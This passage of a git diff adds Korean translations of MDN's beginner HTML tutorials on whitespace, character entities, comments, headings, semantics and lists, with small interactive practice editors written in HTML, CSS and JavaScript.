+<p>만약 실수한 경우 언제든지 <em>Reset</em> 버튼을 사용하여 초기화 할 수 있습니다. 문제가 발생하면 <em>Show solution</em> 단추를 눌러 답변을 확인하십시오.</p>
+
+<div class="hidden">
+<h6 id="Playable_code3">Playable code3</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live Output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px"&gt;&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;코드 영역에서 포커스를 이동하려면 Esc 키를 누르십시오 (탭은 탭 문자를 삽입합니다).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px; width: 95%"&gt;
+  &amp;lt;p&amp;gt;This is my page&amp;lt;/p&amp;gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+h1 {
+ color: blue;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+img {
+  max-width: 100%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = htmlSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Some music&lt;/h1&gt;&lt;p&gt;I really enjoy &lt;strong&gt;playing the drums&lt;/strong&gt;. One of my favorite drummers is Neal Peart, who\ plays in the band &lt;a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article"&gt;Rush&lt;/a&gt;.\ My favourite Rush album is currently &lt;a href="http://www.deezer.com/album/942295"&gt;Moving Pictures&lt;/a&gt;.&lt;/p&gt;\ &lt;img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg"&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code3', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="HTML_공백">HTML 공백</h3>
+
+<p>위의 예에서 많은 공백이 코드에 포함되어 있음을 알 수 있습니다. 이것은 선택 사항입니다. 이 두 코드 스니펫은 동일합니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Dogs are silly.&lt;/p&gt;
+
+&lt;p&gt;Dogs        are
+         silly.&lt;/p&gt;</pre>
+
+<p>HTML 요소 내용 내에서 얼마나 많은 공백을 사용하든 (하나 이상의 공백 문자를 포함 하거나 줄 바꿈 포함) HTML 파서는 코드를 렌더링 할 때 각 공백 시퀀스를 단일 공백으로 줄입니다. 왜 그렇게 많은 공백을 사용합니까? 답은 가독성입니다.</p>
+
+<p>코드의 보기 좋게 정리되어 있다면 코드에서 무슨 일이 일어나고 있는지 이해하는 것이 더 쉬울 수 있습니다. HTML에는 중첩 된 각 요소가 내부에있는 것보다 두 칸 더 들여 쓰기되어 있습니다. 서식 스타일 (예 : 각 들여 쓰기 수준에 대한 공백 수)을 선택하는 것은 사용자의 몫이지만 서식을 고려해야합니다.</p>
+
+<h2 id="Entity_references_HTML에_특수_문자_포함">Entity references: HTML에 특수 문자 포함</h2>
+
+<p>HTML에서 문자 <code>&lt;</code>,<code>&gt;</code>, <code>"</code>및 <code>&amp;</code>는 특수 문자입니다. 이들은 HTML 구문 자체의 일부입니다. 그럼 어떻게 이러한 특수 문자 중 하나를 내가 사용하고 싶은 텍스트에 포함할까요? 예를 들어, 앰퍼샌드 또는 이하 기호를 텍스트에 사용하고 HTML 코드로 해석되지 않게 하려는 경우와 같이 말입니다.</p>
+
+<p>표를 참고하여 실습해보세요. 오른쪽의 특별한 코드는 특수 문자를 표현할 때 사용되는 문자 참조 코드입니다. 각 문자 참조는 앰퍼샌드 (&amp;)로 시작하고 세미콜론 (;)으로 끝납니다.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Literal character</th>
+   <th scope="col">Character reference equivalent</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>&lt;</td>
+   <td>&amp;lt;</td>
+  </tr>
+  <tr>
+   <td>&gt;</td>
+   <td>&amp;gt;</td>
+  </tr>
+  <tr>
+   <td>"</td>
+   <td>&amp;quot;</td>
+  </tr>
+  <tr>
+   <td>'</td>
+   <td>&amp;apos;</td>
+  </tr>
+  <tr>
+   <td>&amp;</td>
+   <td>&amp;amp;</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>문자 참조에 해당하는 문자는 '&amp;lt;'보다 작거나 '&amp;quot;'에 대한 인용 및 기타 문자 참조와 유사하게 볼 수 있기 때문에 쉽게 기억할 수 있습니다. 엔터티 참조에 대한 자세한 내용은 <a href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">List of XML and HTML character entity references</a> (Wikipedia)을 참조하십시오.</p>
+
+<p>아래 예시는 두 개의 단락이 있습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;In HTML, you define a paragraph using the &lt;p&gt; element.&lt;/p&gt;
+
+&lt;p&gt;In HTML, you define a paragraph using the &amp;lt;p&amp;gt; element.&lt;/p&gt;</pre>
+
+<p>아래의 라이브 출력에서 첫 번째 단락이 잘못되었음을 알 수 있습니다. 브라우저는 &lt;p&gt;의 두 번째 인스턴스를 새 단락을 시작하는 것으로 해석합니다. 두 번째 단락에는 문자 참조가있는 꺾쇠 괄호가 있으므로 잘 보입니다.</p>
+
+<p>{{ EmbedLiveSample('Entity_references_Including_special_characters_in_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>참고</strong>: HTML의 <a href="https://wiki.developer.mozilla.org/ko/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Specifying_your_document's_character_encoding">문자 인코딩이 UTF-8로 설정</a>되어 있기 때문에 최신 브라우저는 실제 기호를 잘 처리하므로 다른 기호에 대해서는 엔티티 참조를 사용할 필요가 없습니다.</p>
+</div>
+
+<h2 id="HTML_주석">HTML 주석</h2>
+
+<p>HTML에는 코드에 주석을 작성하는 메커니즘이 있습니다. 브라우저는 주석을 무시하여 사용자가 주석을 보이지 않게합니다. 주석의 목적은 코드에 메모를 포함시켜 논리 또는 코딩을 설명 할 수 있도록하는 것입니다. 이것은 코드를 완전히 기억하지 못할 정도로 오랫동안 멀어진 후 코드베이스로 돌아 오는 경우에 매우 유용합니다. 마찬가지로, 다른 사람들이 변경하고 업데이트함에 따라 의견이 매우 중요합니다.</p>
+
+<p>HTML 주석을 쓰려면 특수 마커 <code>&lt;!-</code> 및 <code>-&gt;</code>로 주석을 묶습니다. 예를 들면 다음과 같습니다.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;I'm not inside a comment&lt;/p&gt;
+
+&lt;!-- &lt;p&gt;I am!&lt;/p&gt; --&gt;</pre>
+
+<p>아래에서 볼 수 있듯이 첫 번째 단락만 라이브 출력에 표시됩니다.</p>
+
+<p>{{ EmbedLiveSample('HTML_comments', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>HTML 기본 사항을 둘러 보셨기를 바랍니다.</p>
+
+<p>이 글을 읽고나면 HTML의 모양과 기본 수준에서 작동하는 방식을 이해해야합니다. 또한 몇 가지 요소와 속성을 작성할 수 있어야합니다. 이 모듈의 후속 기사에서는 여기에 소개 된 주제 중 일부에 대해 더 설명하고 언어의 다른 개념을 제시합니다.</p>
+
+<div class="note">
+<p><strong>참고</strong>: HTML에 대해 더 배우기 시작하면 CSS (Cascading Style Sheets)의 기본 사항을 배우십시오. <a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a>는 웹 페이지의 스타일을 지정하는데 사용되는 언어입니다. (예 : 글꼴 또는 색상 변경 또는 페이지 레이아웃 변경) HTML과 CSS는 곧 발견 될 것입니다.</p>
+</div>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
diff --git a/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html
new file mode 100644
index 0000000000..9121a02696
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/html_text_fundamentals/index.html
@@ -0,0 +1,654 @@
+---
+title: HTML text fundamentals
+slug: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals
+translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">HTML의 주요 작업 중 하나는 브라우저가 텍스트를 올바르게 표시 할 수 있도록 텍스트 구조와 의미 (시멘틱({{glossary ( "semantics")}})라고도 함)를 제공하는 것입니다.<br>
+ 이번 글에서는 {{glossary ( "HTML")}}을 사용하여 제목 및 단락을 추가하고, 단어를 강조하고, 목록을 만드는 등의 방법으로 텍스트 페이지를 구성하는 방법을 설명합니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행 학습:</th>
+   <td><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 시작하기</a>에서 다뤄봤던 HTML의 기초에 익숙해지기.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>문단, 제목, 목록, 강조 및 인용구를 포함한 구조와 의미를 부여하기 위해 텍스트의 기본 페이지를 표시하는 방법에 대해 배웁니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="기본적인_것_제목과_단락">기본적인 것: 제목과 단락</h2>
+
+<p>대부분의 구조화 된 텍스트는 기사, 신문, 대학 교과서, 잡지 등 무엇을 읽든지 간에 제목과 단락으로 구성됩니다.</p>
+
+<p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="https://mdn.mozillademos.org/files/12371/newspaper_small.jpg" style="display: block; margin: 0px auto;" title="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs."></p>
+
+<p>구조화된 컨텐츠는 읽는 경험을 더 쉽고 즐겁게 만들어줍니다.</p>
+
+<p>HTML에서는 각 단락은 {{htmlelement("p")}} 요소 안에 둘러싸여 있어야 합니다. 다음에 나오는 것 처럼 :</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;I am a paragraph, oh yes I am.&lt;/p&gt;</pre>
+
+<p>각 제목도 heading 요소 안에 둘려싸여 있어야 합니다 :</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;I am the title of the story.&lt;/h1&gt;</pre>
+
+<p>heading 요소는 총 6개가 있습니다— {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, and {{htmlelement("h6")}}. 각 요소는 문서에서 다른 수준의 내용을 나타냅니다 ; 메인 제목을 <code>&lt;h1&gt;</code> 으로 나타내고, 소제목을  <code>&lt;h2&gt;</code> 으로 나타내고, 소제목의 소제목을 <code>&lt;h3&gt;</code>으로 나타내고 이런 식으로 제목들을 나타냅니다 .</p>
+
+<h3 id="구조화된_계층을_구현하기">구조화된 계층을 구현하기</h3>
+
+<p>예를 들어, 한 이야기에서 &lt;h1&gt;은 이야기의 제목을 나타내고 &lt;h2&gt;는 각 장의 제목을 나타내고 &lt;h3&gt;는 각 장의 하위 절을 나타내고 이런 식으로 나타냅니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;The Crushing Bore&lt;/h1&gt;
+
+&lt;p&gt;By Chris Mills&lt;/p&gt;
+
+&lt;h2&gt;Chapter 1: The dark night&lt;/h2&gt;
+
+&lt;p&gt;It was a dark night. Somewhere, an owl hooted. The rain lashed down on the ...&lt;/p&gt;
+
+&lt;h2&gt;Chapter 2: The eternal silence&lt;/h2&gt;
+
+&lt;p&gt;Our protagonist could not so much as a whisper out of the shadowy figure ...&lt;/p&gt;
+
+&lt;h3&gt;The specter speaks&lt;/h3&gt;
+
+&lt;p&gt;Several more hours had passed, when all of a sudden the specter sat bolt upright and exclaimed, "Please have mercy on my soul!"&lt;/p&gt;</pre>
+
+<p>구조화된 계층이 타당해 보이는 한 연관된 요소들이 정확히 무엇을 나타내는지는 당신에게 달려있습니다. 다만 그러한 구조들을 만들 때 다음 몇 가지의 관례만 기억하면 됩니다:</p>
+
+<ul>
+ <li>가급적이면 페이지 당 하나의 <code>&lt;h1&gt;</code> 만 사용해야 합니다. — <code>&lt;h1&gt;</code>은 최상위에 있는 표제이며 나머지 다른 표제들은 계층적으로 이것 밑에 위치합니다.</li>
+ <li>각 표제들을 계층적으로 올바른 순서로 사용해야 함을 명심하세요. &lt;h3&gt;을 하위 표제로 사용하고 그 다음 &lt;h2&gt;를 하위 표제의 하위로 사용하지 마십시오. 이해하기 어려울 뿐더러 이상한 결과를 야기할 수 있습니다.</li>
+ <li>6개의 Heading을 사용할 수 있지만 꼭 필요한 것이 아니라면 한 페이지에 3개 이상을 사용하지 않도록 하십시오. 많은 목차 레벨을 가진 문서(예를 들어 너무 깊은 heading 계층)는 다루기 힘들고 탐색하기 어려습니다. 이러한 상황에서는 가능하다면 컨텐츠를 여러 페이지로 나누는 것이 바람직합니다.</li>
+</ul>
+
+<h3 id="왜_우리는_구조가_필요할까요">왜 우리는 구조가 필요할까요?</h3>
+
+<p>이 질문에 대답하기 위해, <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a>  — 이 글에서 작동 원리를 보여주는 예시 첫 부분 (맛있는 hummus 레시피)- 을 봅시다. 이후 실습에서 필요하기 때문에 당신의 로컬 저장소에 이 파일의 복사본을 저장해야 합니다. 이 문서의 body는 다양한 컨텐츠 조각들을 가지고 있습니다. 이것들이 Marked up 된 것은 아니지만 줄바꿈으로 구분되어 있습니다. (다음 줄로 가기 위해 Enter/Return이 눌림)</p>
+
+<p>하지만, 당신이 브라우저에서 문서를 열어보았을 때 당신은 텍스트가 한 덩어리로 뭉쳐있는 것을 볼 것입니다!</p>
+
+<p><img alt="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it." src="https://mdn.mozillademos.org/files/14827/Screen%20Shot%202017-03-29%20at%2009.20.35.png" style="display: block; height: 377px; margin: 0px auto; width: 600px;" title="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it."></p>
+
+<p>이는 컨텐츠에 구조를 입히는 요소가 없기 때문인데, 그래서 브라우저는 무엇이 heading이고 무엇이 문단인지 알 수 없는 것입니다. 추가로:</p>
+
+<ul>
+ <li>웹 페이지를 보는 유저는 필요한 컨텐츠를 빠르게 훑어보는 경향이 있고 자주 heading만 읽기도 합니다. (we usually <a class="external external-icon" href="http://www.nngroup.com/articles/how-long-do-users-stay-on-web-pages/">spend a very short time on a web page</a> 우리는 보통 웹 페이지에서 매우 짧은 시간을 보냅니다.). 몇 초 안에 필요한 어떤 것도 찾지 못하면 그들은 실망하고 다른 곳으로 갈 수도 있습니다.</li>
+ <li>검색 엔진들은 당신의 페이지 내 heading을 페이지 검색 순위에 영향을 주는 중요한 키워드로 고려해 indexing 합니다. heading이 없다면, 당신의 페이지는 검색 엔진 최적화에 관해서는 형편없게 됩니다. {{glossary("SEO")}} (Search Engine Optimization).</li>
+ <li>심각한 시각 장애인들은 자주 웹페이지를 읽지 못합니다. 대신 그들은 듣습니다. 이는 <a class="external external-icon" href="http://en.wikipedia.org/wiki/Screen_reader" title="screen readers">screen reader</a> 라고 불리는 소프트웨어를 사용해 이루어집니다. 이 소프트웨어는 텍스트 컨텐츠에 더 빠르게 접근할 수 있는 방안을 제공합니다. 사용된 다양한 기술 중 하나로, 그들은 heading을 읽어줌으로서 문서의 개요를 제공하며 그들의 사용자들이 필요로 하는 정보를 빠르게 찾을 수 있도록 합니다. heading이 없었더라면 그들은 어쩔 수 없이 문서 전체를 읽어야 했을 것입니다. </li>
+ <li>컨텐츠를 {{glossary("CSS")}}로 꾸미거나, {{glossary("JavaScript")}}로 흥미로운 일을 하게 하기 위해서, 당신은 관련 컨텐츠를 감싸는 요소가 필요합니다. 그렇게  하면 CSS/JavaScript는 효과적으로 그에 적용될 수 있습니다.</li>
+</ul>
+
+<p>그러므로 우리는 컨텐츠를 구조적인 markup에 적용시켜야 합니다.</p>
+
+<h3 id="활동적인_학습_컨텐츠에_구조_입히기">활동적인 학습: 컨텐츠에 구조 입히기</h3>
+
+<p>실제 예시에 바로 적용해 봅시다. 아래 예시에서, Input 부분에 있는 raw text에 요소를 더해서 Output 부분에 heading과 두 문단으로 나오도록 해 봅시다. </p>
+
+<p>실수를 하면 언제든 Reset 버튼을 눌러 리셋할 수 있습니다. 진행 중 막히면, Show solution 버튼을 눌러 답을 볼 수 있습니다.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;My short story
+
+I am a policewoman and my name is Trish.
+
+My legs are made of cardboard and I am married to a fish.&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 8em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;h1&gt;My short story&lt;/h1&gt;\n&lt;p&gt;I am a policewoman and my name is Trish.&lt;/p&gt;\n&lt;p&gt;My legs are made of cardboard and I am married to a fish.&lt;/p&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 500) }}</p>
+
+<h3 id="우리는_왜_Semantic을_필요로_할까">우리는 왜 Semantic을 필요로 할까?</h3>
+
+<p>Semantic(직역 : 의미를 담은, 의미론적인)은 우리 주변 어디에서나 사용됩니다. 우리는 과거의 경험으로부터 일상적인 대상의 기능이 무엇인지 구분합니다. 우리가 어떤 것을 보면 그것의 기능은 무엇일지 알 수 있습니다. 그래서, 예를 들어, 우리가 빨간 신호등을 '멈춤'으로, 초록 신호등을 '출발'로 인식합니다. 잘못된 semantic들이 적용될 경우 상황은 복잡해집니다. (빨간색을 '출발'로 사용하는 나라가 있을까요? 없기를 바랍니다.)</p>
+
+<p>비슷한 맥락에서, 우리는 정확한 요소를 사용하고 있는지, 우리의 컨텐츠에 정확한 의미, 기능, 모습을 담았는지 확실히 해야 합니다. 이 맥락에서 {{htmlelement("h1")}} 요소 또한 텍스트에 "내 페이지 최상위 heading"의 역할로 감싸는 semantic 요소입니다.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;This is a top level heading&lt;/h1&gt;
+</pre>
+
+<p>기본적으로, 브라우저는 이에 큰 사이즈의 폰트를 적용해 heading처럼 보이게 할 것입니다. (비록 당신이 CSS를 사용해 원하는 어떤 모습으로도 스타일 할 수 있지만 말입니다.) 더 중요하게, 이것의 의미론적인 가치는 다양한 방식으로 사용될 것입니다. 예를 들어 검색 엔진이나 screen reader들에서 말이죠. (위에서 서술한 것처럼.)</p>
+
+<p>반면에, 당신은 어떤 요소도 최상위 heading처럼 <em>보이게 </em>할 수 있습니다. 다음을 고려해 봅시다:</p>
+
+<pre class="brush: html notranslate">&lt;span style="font-size: 32px; margin: 21px 0;"&gt;Is this a top level heading?&lt;/span&gt;</pre>
+
+<p>이것은 {{htmlelement("span")}} 요소입니다. 의미가 없죠. 당신은 컨텐츠에 추가적인 의미를 더하지 않고 CSS 를 적용하고 싶을 때 (혹은 JavaScript를 적용해 무언가를 하고 싶을 때) 이것을 사용합니다. (이것들에 대해서는 코스 뒤에서 더 알게 될겁니다.) 우리는 이것에 CSS를 더해 최상위 heading처럼 보이게 했지만, 이것이 semantic(의미론적인) 가치는 없기 때문에, 위에서 서술된 추가적인 이득들은 얻지 못할 것입니다. 작업에 관계있는 HTML 요소를 사용하는 것이 좋은 생각입니다.</p>
+
+<h2 id="Lists">Lists</h2>
+
+<p>이제 List에 집중해 봅시다. List는 삶의 모든 부분에 있습니다 - 쇼핑 리스트에서 당신이 매일 집에 오기 위해 무의식적으로 따르는 지시들의 리스트까지, 이 튜토리얼에서 당신이 따르는 지시들의 리스트까지! 웹에서도 List는 어디에나 있습니다. 그리고 우리는 고려해야 할 3개의 종류를 가지고 있습니다.</p>
+
+<h3 id="Unordered_순서_없음">Unordered (순서 없음)</h3>
+
+<p>정렬되지 않은 목록은 항목의 순서가 중요하지 않은 항목 목록을 표시하는 데 사용됩니다</p>
+
+<p>-  쇼핑 리스트 항목으로 예를 들어보자</p>
+
+<pre class="notranslate">milk
+eggs
+bread
+hummus</pre>
+
+<p>순서 없는 리스트를 정렬하기 위해 {{htmlelement("ul")}} element 를 이용해 감싸줍니다.</p>
+
+<p>모든 리스트 아이템:</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+milk
+eggs
+bread
+hummus
+&lt;/ul&gt;</pre>
+
+<p>마지막으로 그안의 리스트 항목들을  {{htmlelement("li")}} (list item) 태그로 감싸줍니다.</p>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;milk&lt;/li&gt;
+  &lt;li&gt;eggs&lt;/li&gt;
+  &lt;li&gt;bread&lt;/li&gt;
+  &lt;li&gt;hummus&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="활동적인_학습_순서_없는_리스트_만들기">활동적인 학습 : 순서 없는 리스트 만들기</h4>
+
+<p>HTML 순서 없는(unordered) 리스트를 만들기 위해 아래에 있는 샘플을 편집해보자.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;milk
+eggs
+bread
+hummus&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 6em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;ul&gt;\n&lt;li&gt;milk&lt;/li&gt;\n&lt;li&gt;eggs&lt;/li&gt;\n&lt;li&gt;bread&lt;/li&gt;\n&lt;li&gt;hummus&lt;/li&gt;\n&lt;/ul&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', 700, 400) }}</p>
+
+<h3 id="Ordered_순서_있음">Ordered (순서 있음)</h3>
+
+<p>순서 있는 리스트는 항목의 순서가 중요한 목록 입니다. 순서를 꼭 정해주세요</p>
+
+<p>예제:</p>
+
+<pre class="notranslate">Drive to the end of the road
+Turn right
+Go straight across the first two roundabouts
+Turn left at the third roundabout
+The school is on your right, 300 meters up the road</pre>
+
+<p>{{htmlelement("ul")}}태그가 아닌 {{htmlelement("ol")}} 태그로 감싸는것을 제외하고는 마크업 구조는 순서가 없는 리스트와 동일하다.</p>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+  &lt;li&gt;Drive to the end of the road&lt;/li&gt;
+  &lt;li&gt;Turn right&lt;/li&gt;
+  &lt;li&gt;Go straight across the first two roundabouts&lt;/li&gt;
+  &lt;li&gt;Turn left at the third roundabout&lt;/li&gt;
+  &lt;li&gt;The school is on your right, 300 meters up the road&lt;/li&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="활동적인_학습_순서가_있는_리스트를_만들어보자">활동적인 학습: 순서가 있는 리스트를 만들어보자</h4>
+
+<p>HTML 순서가 있는(ordered) 리스트를 만들기 위해 아래에 있는 샘플을 편집해보자.</p>
+
+<div class="hidden">
+<h6 id="Playable_code_3">Playable code</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;Drive to the end of the road
+Turn right
+Go straight across the first two roundabouts
+Turn left at the third roundabout
+The school is on your right, 300 meters up the road&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">body {
+  font-family: 'Open Sans Light', Helvetica, Arial, sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 8em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+textarea.value = '&lt;ol&gt;\n&lt;li&gt;Drive to the end of the road&lt;/li&gt;\n&lt;li&gt;Turn right&lt;/li&gt;\n&lt;li&gt;Go straight across the first two roundabouts&lt;/li&gt;\n&lt;li&gt;Turn left at the third roundabout&lt;/li&gt;\n&lt;li&gt;The school is on your right, 300 meters up the road&lt;/li&gt;\n&lt;/ol&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_3', 700, 500) }}</p>
+
+<h3 id="활동적인_학습_우리의_레시피_페이지를_만들어보자">활동적인 학습: 우리의 레시피 페이지를 만들어보자</h3>
+
+<p>이제 우리는 레시피 페이지 예시를 만드는 데 필요한 모든 정보를 가지고 있습니다. text-start.html 시작 파일을 저장해 그곳에서 작업을 하셔도 좋고, 아래에 있는 편집 가능한 샘플에서 작업을 할 수도 있습니다. 따로 파일을 생성해서 작업을 하면 언제든지 편집이 가능합니다. 아래 샘플에서 작업을 하면 다음에 이 페이지를 열 때 작업 기록이 사라져 있을 것입니다. 이 두가지 방법은 장점과 단점 모두를 지니고 있습니다.</p>
+
+<div class="hidden">
